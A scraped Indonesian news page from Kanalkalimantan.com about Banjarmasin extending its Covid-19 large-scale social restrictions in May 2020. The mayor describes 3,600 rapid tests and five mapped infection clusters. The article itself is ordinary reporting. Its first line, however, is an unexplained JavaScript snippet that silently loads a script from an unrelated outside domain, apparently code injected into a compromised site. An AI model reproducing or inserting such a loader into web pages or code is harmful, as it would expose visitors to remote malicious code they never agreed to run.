(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah diputuskan pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarmasin diperpanjang hingga 21 Mei 2020, upaya tracking terus diperkuat dengan melengkapi rapid test.
“Informasi dari Dinas Kesehatan Kota Banjarmasin, (rapid test) sudah siap sebanyak 1.600 buah yang akan dilaksanakan pada minggu-minggu ini, ditambah dengan 2.000 buah rapid test sesuai dengan pesanan Pemko Banjarmasin,” tutur Wali Kota Banjarmasin H. Ibnu Sina kepada awak media di Balaikota Banjarmasin, Kamis (7/5/2020) sore.
Jika ditotal, lanjut Ibnu, akan ada sebanyak 3.600 alat rapid test yang akan digunakan selama PSBB tahap kedua ini. Ia berharap dengan upaya tracking yang semakin massif pada PSBB kedua kali ini, semakin banyak ditemukan orang yang positif Covid-19 di Kota Seribu Sungai.
“(Baik) dari ODP (orang dalam pemantauan), baik dari tracking, maupun klaster-klaster yang ada. Terakhir tadi kita sudah memetakan lima klaster,” ungkap Ibnu.
Lima klaster yang dimaksud, pertama klaster Ulin-1 (kasus pertama Covid-19 di Kalimantan Selatan) dengan seluruh turunannya. Kemudian, klaster Gowa yang pada perkembangannya juga melahirkan klaster baru.
“Yaitu klaster Pekapuran, yang mana klaster Pekapuran ini melahirkan cluster baru lagi yaitu klaster Pasar Antasari dan klaster terakhir, yaitu klaster multifaktor,” jelas Ibnu.
Klaster multifaktor yang dimaksud dulunya disumbang oleh beberapa klaster yang ada. Sehingga, oleh Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin dijadikan satu, karena dalam perkembangannya ada satu penularan yang terhenti dan tidak berkembang lagi.
“Sehingga kita bisa memetakan, ke mana saja rapid test ini akan dilakukan, yaitu menelusuri klaster-klaster yang ada. Jadi fokus men-tracking dan screening dan mudah-mudahan menemukan,” imbuhnya.
Karena secara teori epidemiologis, kata Ibnu, jika ada empat orang yang meninggal akibat Covid-19, maka sedikitnya ada 100 orang di luar sana yang sebenarnya telah terpapar Covid-19. “Itu yang akan kita cari dan kita temukan,” pungkas Ibnu. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.